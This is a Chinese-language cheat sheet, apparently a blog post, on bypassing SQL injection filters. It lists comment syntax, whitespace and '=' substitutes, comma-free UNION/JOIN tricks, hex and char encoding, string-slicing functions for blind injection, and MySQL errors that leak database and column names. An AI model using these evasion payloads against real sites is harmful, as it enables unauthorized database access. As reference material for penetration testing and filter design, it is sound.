平时遇到的sql注入基本上都会存在过滤,这里讲讲如何绕过,主要是一些关键字的功能替换。
sql中的注释
1 | --+、 #、 %23、 -- -、 %00、 `、 //、 /* */ |
sql中的可执行注释:/*!...*/
,注释当中的语句会被 MySQL 正常解析和执行,但在其他数据库管理系统将被作为注释忽略。
代替空格的多种方式
\t
:Tab键
+
号
1 | select+pass+from+user+where+id=1 |
/**/、/*xxx*/
1 | select/**/pass/**/from/**/user/**/where/**/id=1 |
%20、%09、%0b、%0d、%0a
1 | select%0apass%0afrom%0auser%0awhere%0aid=1 |
SQLite3:0A 0D 0C 09 20
MySQL5:09 0A 0B 0C 0D A0 20
PosgresSQL:0A 0D 0C 09 20
Oracle 11g:00 0A 0D 0C 09 20
MSSQL:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
@
(select之后)
1 | union select@1,2,3 |
select A from B
的空格
select Afrom B 默认from后面必须是空格再加表名,因此为了不让你使用from可能正则表达式会检测后面的空格,我们可以用科学计数法绕过,因为1e0后面可以没有空格
1 | select A,1 from B ==> select A,1E0fromB |
使用括号(空格被过滤)
1 | select pass from admin where id=1 ==> select(pass)from(admin)where(id=1) |
等号被过滤的多种代替方式
<>与!结合
1 | select pass from user where !(id<>1) |
like代替
1 | select pass from user where id =1 ==> select pass from user where id like 1 |
in代替
1 | select pass from user where id=1 ==> select pass from user where id in(1) |
regexp代替 (正则)
1 | select pass from user where id =1 ==> select pass from user where id regexp 1 |
使用异或(and和or被过滤)
mysql中的异或运算符为^
或xor
(如果or
被过滤了,xor
也没用)。
异或原理:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null。
在sql注入中常用于盲注。
1 | select * from user where name ='$Input' |
使用join(union select中逗号被过滤)
1 | select * from users union select 1,2,3 |
使用greatest函数 (大于小于符号被过滤)
greatest(a,b)
返回大的那个数
1 | greatest(a,1)=a ==> a>=1 |
使用hex编码(在引号被过滤时要传递字符串时使用)
1 | select "abc" == select 0x616263 |
使用char函数(在引号被过滤时要传递字符串时使用)
1 | select char(97); ==> select 'a'; |
字符串截取函数
substr(str,index,len)
截取str,从index开始,截取长度为len
1 | surstr("123",1,1) ==>1 |
substring(str,index,len)
截取str,从index开始,截取长度为len
1 | surbtring("123",1,1) ==>1 |
mid(str,index,len)
截取str,从index开始,截取长度为len
1 | mid("123",1,1) ==>1 |
insert(str,pos,len,newstr)
在原始字符串 str 中,将自左数第 pos 位开始,长度为 len 个字符的字符串替换为新字符串 newstr,然后返回经过替换后的字符串。 pos从1开始
1 | insert(str,len,1,0x0)`可当做截取函数:`substr(str, 1, len) <==> insert(str, len+1, length(str), "") |
left(str,len)
截取str,从左边第一个开始截取,截取长度为len
1 | left("123",2) ==>12 |
right(str,len)
取str,从右边第一个开始截取,截取长度为len
1 | right("123",2) ==>23 |
rpad(str, len, padstr)
在 str 右方补齐 len 位的字符串 padstr,返回新字符串。
如果 str 长度大于 len,则返回值的长度将缩减到 len 所指定的长度。同理还有lpad()
1 | rpad("123", 1, 1) => 1 |
trim(Afrom(B))
把字符串B中的A删去,返回剩余部分
conv(,10,36)代替字母
conv函数进行进制转换,而36进制包含了所有的字母
1 | conv(10,10,36) ==> A |
union+join(逗号被过滤)
1 | select 1,2,3,4 union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D); |
bool盲注可以用的
position('ro'in user())
locate('ro',user())
mysql特性
当使用自定义函数不存在的时候会报错显示出库的名字
1 | select a() from users ==> FUNCTION dvwa.a does not exist |
当查找重复的列的时候会报错显示出列的名字
1 | union select * from (select * from users as A join users) as C ==>Duplicate column name 'user_id' |